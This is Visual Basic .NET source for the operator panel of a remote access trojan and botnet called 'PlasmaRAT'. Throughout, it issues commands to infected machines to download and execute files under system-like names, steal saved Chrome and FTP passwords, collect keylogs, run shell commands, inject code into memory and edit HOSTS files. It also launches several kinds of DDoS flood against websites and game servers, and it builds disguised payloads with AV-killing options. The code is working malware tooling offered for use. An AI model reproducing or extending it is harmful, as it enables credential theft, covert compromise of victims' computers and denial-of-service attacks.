Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
If Not D = String.Empty Then
SendToAll("update.bot " & S & " " & D)
End If
End If
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Seed Torrent") Then
Dim S As String = InputBox("Torrent File to Seed (Direct Download Link .torrent):", "")
If Not S = String.Empty Then
SendToAll("seed " & S)
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Run Bot Killer") Then
If MsgBox("Are you sure you want to run the Bot Killer Command? This will remove any existing malware on the system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("botkiller.run")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Download Logs") Then
If MsgBox("Are you sure you want to download Keylogs for all users?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("keylogger.send")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Delete Logs") Then
If MsgBox("Are you sure you want to DELETE Keylogs for all users?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("keylogger.delete")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Search Logs") Then
Dim S As String = InputBox("Search Logs for Term (Case Sensitive):", "")
If Not S = String.Empty Then
SendToAll("keylogger.search " & """" & S & """")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Run Hard BK") Then
If MsgBox("Are you sure you want to run the Hard Bot Killer? This will hinder the installation of new files on the system. Please only use this on highly infected computers.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("botkiller.hardbk")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Uninstall") Then
If MsgBox("Are you sure you want to run the uninstall command? This will remove the bot from this system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("remove.bot")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Enable BK") Then
If MsgBox("Are you sure you want to enable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("botkiller.enable")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Disable BK") Then
If MsgBox("Are you sure you want to disable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("botkiller.disable")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Chrome Stealer") Then
If MsgBox("Recover Saved Chrome Passwords?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("chrome")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("FTP Stealer") Then
If MsgBox("Recover FTP Accounts?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("ftp")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("General Info") Then
If MsgBox("Retrieve General PC Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("info")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("PC Specifications") Then
If MsgBox("Retrieve PC Specifications?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("pcspecs")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("AV Info") Then
If MsgBox("Retrieve AV Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll(".avdetails")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Enable Mute") Then
If MsgBox("Enable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("mute on")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Disable Mute") Then
If MsgBox("Disable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("mute off")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Uninstall") Then
If MsgBox("Are you sure you want to remove all bots? This action cannot be undone.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll("remove.bot")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Open Visible") Then
Dim S As String = InputBox("URL To Open (Default Browser):", "")
If Not S = String.Empty Then
Dim URL As String
If Not S.Contains("http://") Then
URL = S
S = "http://" & URL
End If
SendToAll("visit " & S)
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Open Hidden") Then
Dim S As String = InputBox("URL To Open (Hidden Internet Explorer):", "")
If Not S = String.Empty Then
Dim URL As String
If Not S.Contains("http://") Then
URL = S
S = "http://" & URL
End If
SendToAll("visit -h " & S)
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Inject via RunPE") Then
Dim S As String = InputBox("File to Inject into Memory via RunPE (Direct Download Link):", "")
If Not S = String.Empty Then
SendToAll("inject.runpe " & S)
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Inject via Reflection") Then
Dim S As String = InputBox("File to Inject into Memory via Reflection (Direct Download Link):", "")
If Not S = String.Empty Then
SendToAll("inject.reflect " & S)
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Shell Command") Then
Dim S As String = InputBox("Command to Execute:", "")
If Not S = String.Empty Then
SendToAll("shell " & """" & S & """")
End If
End If
If TreeView2.SelectedNode.ToString.Contains("Edit HOSTS File") Then
Dim S As String = InputBox("Line to add to HOSTS:", "")
If Not S = String.Empty Then
SendToAll("hosts " & """" & S & """")
End If
End If
Catch ex As Exception
MessageBox.Show("A strange error has occured. Report this to KFC Watermelon: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
End Sub
Public Sub SendCommand(ByVal what As String)
If SelectedOnly.Checked = True Then
SendToSelected(what)
Else
Try
SendToAll(what)
Catch ex As Exception
' MsgBox("Error Sending Command")
End Try
End If
End Sub
Public Sub AddCommandListView(ByVal command As String)
If Not command = "ping" Then
Try
Dim lmao = command
If Not CommandsLogs.Contains(lmao) Then
CommandsLogs = CommandsLogs & lmao & vbNewLine
Dim CurClient As New ListViewItem(command)
CommandsListView.Items.Add(CurClient)
End If
Catch : End Try
End If
End Sub
Private Sub Form1_Load_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Try
TabControl1.Dock = DockStyle.Fill
Dim r As New Random
Dim Counter As Integer = r.Next(1, 5)
If Counter = 1 Then
FileName.Text = "appsvc.exe"
Folder.Text = "Application Services"
End If
If Counter = 2 Then
FileName.Text = "wserver.exe"
Folder.Text = "Windows Server"
End If
If Counter = 3 Then
FileName.Text = "win32.exe"
Folder.Text = "Windows Services"
End If
If Counter = 4 Then
FileName.Text = "NTKernel.exe"
Folder.Text = "NT Kernel"
End If
If Counter = 5 Then
FileName.Text = "nacl32.exe"
Folder.Text = "System Configuration"
End If
If Not GetSetting("PlasmaRAT", "Config", "Port") = String.Empty Then
PortToListenTo = Convert.ToInt32(GetSetting("PlasmaRAT", "Config", "Port"))
PORTBuild.Text = GetSetting("PlasmaRAT", "Config", "Port")
Else
Dim x = r.Next(1000, 8000)
PortToListenTo = x
PORTBuild.Text = x.ToString
End If
If Not GetSetting("PlasmaRAT", "Config", "SingleConnection") = String.Empty Then SingleConnection.Checked = False
If Not GetSetting("PlasmaRAT", "Config", "PingPong") = String.Empty Then PingPong.Checked = False
If Not GetSetting("PlasmaRAT", "Config", "DisconnectonError") = String.Empty Then ClientOnError.Checked = False
If Not GetSetting("PlasmaRAT", "Config", "LowBandwidth") = String.Empty Then LowBandwidth.Checked = True
If Not GetSetting("PlasmaRAT", "Config", "DNS") = String.Empty Then
DNSBuild.Text = GetSetting("PlasmaRAT", "Config", "DNS")
End If
If Not GetSetting("PlasmaRAT", "Config", "MinerSettings") = String.Empty Then
Dim lels() = Split(GetSetting("PlasmaRAT", "Config", "MinerSettings"), " ")
MinerFiles.Text = lels(0)
MinerPool.Text = lels(1)
MinerUser.Text = lels(2)
MinerPass.Text = lels(3)
End If
Catch ex As Exception
MessageBox.Show("A really strange error has occured. You should report this to KFC Watermelon: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
Try
EncryptionKey = Seal.Username
OnJoinTopLel = Seal.GetVariable("AUTHKEY")
MinerFileURL = Seal.GetVariable("Files") '"http://files.plasmarat.pw/CPUMiner.files|http://files.plasmarat.pw/GPUMiner.files|" ''Seal.GetVariable("MinerFile")
Dim lel() = Split(MinerFileURL, "|")
MinerFiles.Text = lel(0)
If MinerFiles.Text = "http://google.com/file.exe" Then End
If GlobalMessage.Text = "InvalidSystemInfo" Then End
Timer1.Start()
Ping.Start()
Catch
MessageBox.Show("An error occured. Error 0x0159")
Environment.Exit(0)
End
End Try
End Sub
Private Sub Form1CLose(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.FormClosing
End
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim bots As Integer = BotListView.Items.Count
BotsOnline.Text = "Bots Online: " & bots.ToString
If bots > PeakBots Then
PeakBots = bots
BotPeak.Text = "Peak: " & PeakBots.ToString
End If
If BotListView.SelectedItems.Count > 0 Then
SelectedBots.Text = "Selected Bots: " & BotListView.SelectedItems.Count.ToString
Else
SelectedBots.Text = "Selected Bots: 0"
End If
End Sub
Private Sub Button9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If UDP.Checked Then
SendCommand("ddos.stop.udp")
End If
If condis.Checked Then
SendCommand("ddos.stop.condis")
End If
If httpget.Checked Then
SendCommand("ddos.stop.httpget")
End If
If httppost.Checked Then
SendCommand("ddos.stop.posthttp")
End If
If slowloris.Checked Then
SendCommand("ddos.stop.slowloris")
End If
If arme.Checked Then
SendCommand("ddos.stop.arme")
End If
If bwflood.Checked Then
SendCommand("ddos.stop.bwflood")
End If
End Sub
Sub ChangedDDoS()
Dim x = " "
If UDP.Checked Then
threads.Text = "2"
Description.Text = "Description: Standard UDP Flood"
use.Text = "Use: Home Connections, any typical Server/IP"
info.Text = "Info: Only put in IP in target."
End If
If condis.Checked Then
threads.Text = "10"
Description.Text = "Description: Rapid Connect/Disconnect. Sends small TCP Packets."
use.Text = "Use: Game Servers, TeamSpeak, web servers, etc"
info.Text = "Info: Only put in IP in target."
End If
If httpget.Checked Then
threads.Text = "20"
Description.Text = "Description: Standard HTTP GET Flood"
use.Text = "Use: Websites"
info.Text = "Info: Put URL to Attack in Target. Add http://"
End If
If httppost.Checked Then
threads.Text = "20"
Description.Text = "Description: Standard HTTP POST Flood"
use.Text = "Use: Websites. Put in Data to POST."
info.Text = "Info: Put URL to Attack in Target. Add http://"
End If
If slowloris.Checked Then
threads.Text = "10"
Description.Text = "Description: Slowloris Attack"
use.Text = "Use: Websites."
info.Text = "Info: Put host in target. Ex: google.com "
End If
If arme.Checked Then
threads.Text = "10"
Description.Text = "Description: Powerful against websites using Apache Web Server"
use.Text = "Use: Websites running Apache Web Server"
info.Text = "Info: Put host in target. Ex: google.com "
End If
If bwflood.Checked Then
threads.Text = "5"
Description.Text = "Description: Floods Bandwidth Usage"
use.Text = "Use: Files on websites"
info.Text = "Info: Put File URL to Attack in Target. Ex: http://google.com/logo.png"
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim x = " "
If UDP.Checked Then
SendCommand("ddos.udp.start " & target.Text & x & port.Text & x & time.Text & x & threads.Text)
End If
If condis.Checked Then
SendCommand("ddos.condis.start " & target.Text & x & port.Text & x & time.Text & x & threads.Text)
End If
If httpget.Checked Then
SendCommand("ddos.httpget.start " & target.Text & x & time.Text & x & threads.Text)
End If
If httppost.Checked Then
SendCommand("ddos.posthttp.start " & target.Text & x & time.Text & x & threads.Text & x & """" & data.Text & """")
End If
If slowloris.Checked Then
SendCommand("ddos.slowloris.start " & target.Text & x & time.Text & x & threads.Text)
End If
If arme.Checked Then
SendCommand("ddos.arme.start " & target.Text & x & time.Text & x & threads.Text)
End If
If bwflood.Checked Then
SendCommand("ddos.bwflood.start " & target.Text & x & time.Text & x & threads.Text)
End If
End Sub
Private Sub UDP_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UDP.CheckedChanged
ChangedDDoS()
End Sub
Private Sub condis_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles condis.CheckedChanged
ChangedDDoS()
End Sub
Private Sub httpget_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles httpget.CheckedChanged
ChangedDDoS()
End Sub
Private Sub httppost_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles httppost.CheckedChanged
ChangedDDoS()
End Sub
Private Sub slowloris_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles slowloris.CheckedChanged
ChangedDDoS()
End Sub
Private Sub arme_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles arme.CheckedChanged
ChangedDDoS()
End Sub
Private Sub bwflood_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bwflood.CheckedChanged
ChangedDDoS()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
If TextBox5.Text.Contains("http://") Then TextBox5.Text = TextBox5.Text.Replace("http://", String.Empty)
Try
target.Text = System.Net.Dns.GetHostByName(TextBox5.Text).AddressList(0).ToString()
Catch
MsgBox("Unable to resolve hostname")
End Try
End Sub
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub TextBox7_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem1.Click
If MsgBox("Retrieve General PC Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("info")
End If
End Sub
Private Sub OpenVisibleToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenVisibleToolStripMenuItem.Click
Dim S As String = InputBox("URL To Open (Default Browser):", "")
If Not S = String.Empty Then
Dim URL As String
If Not S.Contains("http://") Then
If Not S.Contains("https://") Then
URL = S
S = "http://" & URL
End If
End If
SendToSelected("visit " & S)
End If
End Sub
Private Sub OpenHiddenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OpenHiddenToolStripMenuItem.Click
Dim S As String = InputBox("URL To Open (Default Browser):", "")
If Not S = String.Empty Then
Dim URL As String
If Not S.Contains("http://") Then
If Not S.Contains("https://") Then
URL = S
S = "http://" & URL
End If
End If
SendToSelected("visit -h " & S)
End If
End Sub
Private Sub StartToolStripMenuItem1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartToolStripMenuItem1.Click
Dim S As String = InputBox("Command to Execute:", "")
If Not S = String.Empty Then
SendToSelected("shell " & """" & S & """")
End If
End Sub
Private Sub StopToolStripMenuItem2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopToolStripMenuItem2.Click
Dim S As String = InputBox("Line to add to HOSTS:", "")
If Not S = String.Empty Then
SendToSelected("hosts " & """" & S & """")
End If
End Sub
Private Sub RunBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RunBotKillerToolStripMenuItem.Click
If MsgBox("Are you sure you want to run the Bot Killer Command? This will remove any existing malware on the system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("botkiller.run")
End If
End Sub
Private Sub EnableProactiveBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableProactiveBotKillerToolStripMenuItem.Click
If MsgBox("Are you sure you want to enable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("botkiller.enable")
End If
End Sub
Private Sub DisableProactiveBotKillerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DisableProactiveBotKillerToolStripMenuItem.Click
If MsgBox("Are you sure you want to disable the Proactive Bot Killer?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("botkiller.disable")
End If
End Sub
Private Sub ChromeStealerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ChromeStealerToolStripMenuItem.Click
If MsgBox("Recover Saved Chrome Passwords?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("chrome")
End If
End Sub
Private Sub FTPStealerToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FTPStealerToolStripMenuItem.Click
If MsgBox("Recover FTP Accounts?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("ftp")
End If
End Sub
Private Sub StopToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopToolStripMenuItem.Click
If MsgBox("Retrieve PC Specifications?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("pcspecs")
End If
End Sub
Private Sub AVInfoToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AVInfoToolStripMenuItem.Click
If MsgBox("Retrieve AV Info?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected(".avdetails")
End If
End Sub
Private Sub EnableMuteToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableMuteToolStripMenuItem.Click
If MsgBox("Enable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("mute on")
End If
End Sub
Private Sub DisableMuteToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DisableMuteToolStripMenuItem.Click
If MsgBox("Disable Mute?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("mute off")
End If
End Sub
Private Sub UninstallToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UninstallToolStripMenuItem.Click
If MsgBox("Are you sure you want to run the uninstall command? This will remove the bot from this system.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
If MsgBox("Are you COMPLETELY sure you want to run the Uninstall command? You will lose your bots.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToSelected("remove.bot")
End If
End If
End Sub
Private Sub LogView_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LogView.SelectedIndexChanged
End Sub
Private Sub ToolStripMenuItem2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem2.Click
BotListView.BeginUpdate()
For Each i As ListViewItem In BotListView.Items
i.Selected = True
Next
BotListView.EndUpdate()
End Sub
Private Sub ToolStripMenuItem3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem3.Click
Try
Dim S As String = InputBox("Number of Bots to Select:", "")
If Not S = String.Empty Then
Dim x = Convert.ToInt32(S)
If Not x > BotListView.Items.Count.ToString Then
Dim Selected = 0
BotListView.BeginUpdate()
For Each i As ListViewItem In BotListView.Items
If Not Selected = x Then
Selected = Selected + 1
i.Selected = True
End If
Next
BotListView.EndUpdate()
Else
MsgBox("You do not have this many bots online")
End If
End If
Catch
MsgBox("An error occured.")
End Try
End Sub
Private Sub Button11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ExecuteFileToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExecuteFileToolStripMenuItem.Click
Dim S As String = InputBox("File to Download and Execute (Direct Download Link):", "")
If Not S = String.Empty Then
Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
If Not D = String.Empty Then
SendToSelected("download " & S & " " & D)
End If
End If
End Sub
Private Sub UpdateToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles UpdateToolStripMenuItem.Click
If MsgBox("Are you sure you want to start the update process? This will remove the bot after running the new one.", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
Dim S As String = InputBox("File to Update to (Direct Download Link):", "")
If Not S = String.Empty Then
Dim D As String = InputBox("Run File As (Example: svchost.exe, msconfig.exe, file.jar, system.vbs):", "")
If Not D = String.Empty Then
SendToSelected("update.bot " & S & " " & D)
End If
End If
End If
End Sub
Public Function AES_Encrypt(ByVal input As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim encrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(EncryptionKey))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = System.Security.Cryptography.CipherMode.ECB
Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return encrypted
Catch ex As Exception
End Try
End Function
Public Function AES_Decrypt(ByVal input As String) As String
Dim AES As New System.Security.Cryptography.RijndaelManaged
Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
Dim decrypted As String = ""
Try
Dim hash(31) As Byte
Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(EncryptionKey))
Array.Copy(temp, 0, hash, 0, 16)
Array.Copy(temp, 0, hash, 15, 16)
AES.Key = hash
AES.Mode = System.Security.Cryptography.CipherMode.ECB
Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
Dim Buffer As Byte() = Convert.FromBase64String(input)
decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
Return decrypted
Catch ex As Exception
End Try
End Function
Private Sub ListView1_DrawSubItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawListViewSubItemEventArgs) Handles NewsView.DrawSubItem
Dim SB As New SolidBrush(e.SubItem.ForeColor)
e.DrawBackground()
e.Graphics.DrawString(e.SubItem.Text, e.SubItem.Font, SB, e.Bounds, Nothing)
SB.Dispose()
End Sub
Private Sub ListView1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) Handles NewsView.MouseMove
If NewsView.GetItemAt(e.X, e.Y) Is Nothing Then
NewsView.Cursor = Cursors.Default
Else
NewsView.Cursor = Cursors.Hand
End If
End Sub
Private Sub NewsView_SelectedIndexChanged_2(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NewsView.Click
If NewsView.SelectedIndices.Count = 0 Then Return
ShowPostMessage(DirectCast(NewsView.SelectedItems(0).Tag, NewsPost))
End Sub
Private Sub ShowPostMessage(ByVal post As NewsPost)
Dim Message As String = Seal.GetPostMessage(post.ID)
If String.IsNullOrEmpty(Message) Then
ShowNewsEntries()
Else
NewsHeader.Text = post.Name
MessageBox.Show(Message, "News", MessageBoxButtons.OK, MessageBoxIcon.Information)
End If
End Sub
Private Sub ShowNewsEntries()
NewsView.Items.Clear()
For Each P As NewsPost In Seal.News
Dim I As New ListViewItem(P.Time.ToString("MM.dd.yy"))
I.SubItems.Add(P.Name)
I.Tag = P
NewsView.Items.Add(I)
Next
End Sub
Private Sub NewsView_SelectedIndexChanged_3(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles NewsView.SelectedIndexChanged
End Sub
Private Sub Pong_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Ping.Tick
If PingPong.Checked = True Then
If Not BotListView.Items.Count = 0 Then
SendToAll("l")
End If
End If
End Sub
Sub AddClient(ByVal strings() As String)
Try
Dim l As New ListViewItem(strings)
' If Not BotListView.Items.Contains(l) Then
BotListView.Items.Add(l)
Catch : End Try
' End If
End Sub
Private Sub Button7_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
AddClient({"72.32.43.20", "USA", "Windows 7 x64", "Jacob", "4 Cores", "User", "1.5"})
AddClient({"68.142.243.103", "USA", "Windows 7 x64", "me", "2 Cores", "User", "1.5"})
AddClient({"98.136.63.35", "BRA", "Windows XP x86", "Administrator", "2 Cores", "Admin", "1.5"})
AddClient({"87.248.125.49", "CAN", "Windows 7 x86", "Typer", "2 Cores", "User", "1.5"})
AddClient({"217.146.191.19", "USA", "Windows Vista x64", "Emma", "4 Cores", "User", "1.5"})
AddClient({"76.124.248.194", "ESP", "Windows XP x86", "Administrator", "1 Core", "Admin", "1.5"})
AddClient({"93.91.250.134", "USA", "Windows Vista x86", "Aiden", "4 Cores", "User", "1.5"})
AddClient({"176.31.209.33", "IRN", "Windows XP x86", "Noah", "4 Cores", "Admin", "1.5"})
AddClient({"183.170.243.116", "USA", "Windows XP x86", "javadi", "2 Cores", "Admin", "1.5"})
AddClient({"85.25.100.13", "USA", "Windows 7 x64", "tusbung", "8 Cores", "User", "1.5"})
AddClient({"109.168.111.41", "BRA", "Windows 7 x64", "taye", "4 Cores", "User", "1.5"})
AddClient({"94.23.71.216", "USA", "Windows XP x86", "Emily", "2 Cores", "Admin", "1.5"})
AddClient({"5.135.142.32", "USA", "Windows 7 x86", "Avery", "4 Cores", "User", "1.5"})
AddClient({"69.197.50.71", "VEN", "Windows Vista x86", "GANKK", "8 Cores", "User", "1.5"})
AddClient({"198.23.247.55", "USA", "Windows 7 x64", "Administrator", "4 Cores", "User", "1.5"})
AddClient({"71.174.59.38", "ARG", "Windows XP x86", "Andrew", "2 Cores", "Admin", "1.5"})
While Not BotListView.Items.Count = 974
Dim CurClient As New ListViewItem("127.0.0.1") ' Server ID
CurClient.SubItems.Add("test") ' IP
CurClient.SubItems.Add("Windows 8") ' OS
CurClient.SubItems.Add("eadsf") ' User
CurClient.SubItems.Add("ddd") ' User
CurClient.SubItems.Add("xxx") ' User
CurClient.SubItems.Add("aeasdf")
BotListView.Items.Add(CurClient)
End While
End Sub
Private Sub Label11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub ResendCommandToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ResendCommandToolStripMenuItem.Click
Dim commandtoSend As String
If CommandsListView.SelectedItems.Count > 0 Then
If Not CommandsListView.SelectedItems(0).Text = String.Empty Then
commandtoSend = CommandsListView.SelectedItems(0).Text
If MsgBox("Are you sure you want to resend the command: " & vbNewLine & commandtoSend & vbNewLine & "to all online bots?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
SendToAll(commandtoSend)
End If
End If
End If
End Sub
Private Sub SendCommandOnConnectToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SendCommandOnConnectToolStripMenuItem.Click
If CommandsListView.SelectedItems.Count > 0 Then
If Not CommandsListView.SelectedItems(0).Text = String.Empty Then
Dim commandOnSend = CommandsListView.SelectedItems(0).Text
If MsgBox("Are you sure you want to send the command: " & vbNewLine & commandOnSend & vbNewLine & "to bots as they connect?", MsgBoxStyle.YesNo, "") = MsgBoxResult.Yes Then
OnConnectCommand = commandOnSend
' Commands.ToolStripDropDownAccessibleObject.ToolStripMenuItem11()
ToolStripMenuItem11.Text = "On-Join Command: " & OnConnectCommand
End If
End If
End If
End Sub
Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
End Sub
Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
' USE THE STUB
If BackupDNS.Text = String.Empty Then
MessageBox.Show("You cannot have backup DNS textbox blank. Please cancel this build operation and put something in it, even if it is disabled!")
End If
Try
Try : SaveSetting("PlasmaRAT", "Config", "DNS", DNSBuild.Text) : Catch : End Try
Dim SettingsString As String = ""
If EnableInstallation.Checked = True Then SettingsString = SettingsString & "z"
If SetKernelObjectSecurity.Checked Then SettingsString = SettingsString & "q"
If SWIP.Checked Then SettingsString = SettingsString & "i"
If AVKiller.Checked Then SettingsString = SettingsString & "a"
If BotResourceProtection.Checked Then SettingsString = SettingsString & "s"
If AutomaticBK.Checked Then SettingsString = SettingsString & "bk"
If SetProcessCritical.Checked Then SettingsString = SettingsString & "c"
If EnableBackupDNS.Checked Then SettingsString = SettingsString & "y"
Dim omgawd = "*"
Dim compileinfo = Builder.EncryptConfig(omgawd & DNSBuild.Text & omgawd & PORTBuild.Text & omgawd & Seal.Username & omgawd & FileName.Text & omgawd & Folder.Text & omgawd & SettingsString & omgawd & BackupDNS.Text & omgawd)
If compileinfo.Length < 300 Then
While Not compileinfo.Length = 300
compileinfo = compileinfo & " "
End While
Dim WhatWereReplacing = System.Text.ASCIIEncoding.ASCII.GetBytes(Seal.GetVariable("StubDecryptionKey"))
Dim WhatWereReplacingWith = System.Text.ASCIIEncoding.ASCII.GetBytes(compileinfo)
Dim wget As New System.Net.WebClient()
Dim Bin = wget.DownloadData(Seal.GetVariable("BACKUPDNS"))
Dim Decryptedbin = Builder.Proper_RC4(Bin, System.Text.Encoding.UTF8.GetBytes(Seal.GetVariable("Test")))
Using S As New SaveFileDialog With {.Filter = "*.exe | *.exe"}
If S.ShowDialog = 1 Then
My.Computer.FileSystem.WriteAllBytes(S.FileName, Builder.ReplaceBytes(Decryptedbin, WhatWereReplacing, WhatWereReplacingWith), False)
